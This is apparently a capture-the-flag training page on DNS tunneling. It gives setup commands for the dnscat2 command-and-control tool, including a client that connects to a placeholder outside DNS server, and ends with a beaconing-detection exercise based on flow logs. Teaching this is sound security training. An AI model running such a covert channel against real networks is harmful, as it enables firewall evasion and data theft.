DNS Tunneling (dnscat2)
Credit: This CTF challenge comes from Faan Rossouw & Keith Chew’s webcast on October 25th, 2025.
DNS Tunneling (dnscat2)
DNS translates human-readable domain names (like google.com) into IP addresses so computers can find each other.
DNS tunneling encodes data inside DNS queries and responses to bypass firewalls or exfiltrate data — often used maliciously when other channels are blocked.
dnscat2 is an open-source tool that creates an interactive, encrypted command-and-control channel over DNS. It works as a client (on the target) and a server, supports bi-directional encrypted sessions, and is intended for authorized red team / pentest use only.
Setup
# clone repo git clone https://github.com/iagox86/dnscat2.git # client cd dnscat2/client && make # server (you might need ruby) sudo apt-get install ruby ruby-dev cd dnscat2/server && gem install bundler && bundle install # or on Kali sudo apt install dnscat2 dnscat2-server # start server ruby ./dnscat2.rb yourdomain.org # dnscat2-server on Kali # start client ./dnscat2 --dns server=x.x.x.x,port=53
Challenges
Sign in to take this quiz
Your answers are saved against your account, so you can come back to them and pick up where you left off.
Sign inRelated Courses by Antisyphon Training
Check out these courses related to the topic!

Suspicious Connection Hunt
You are reviewing basic network flow logs from a small office network.
One internal workstation suddenly starts making repeated connections every 60 seconds to an external IP that no other machine contacts.
src_ip: 10.10.15.23
dst_ip: 185.199.110.5
dst_port: 443
interval: exactly every 60s
bytes_out: very small, consistent
The traffic is encrypted and the destination domain is newly registered.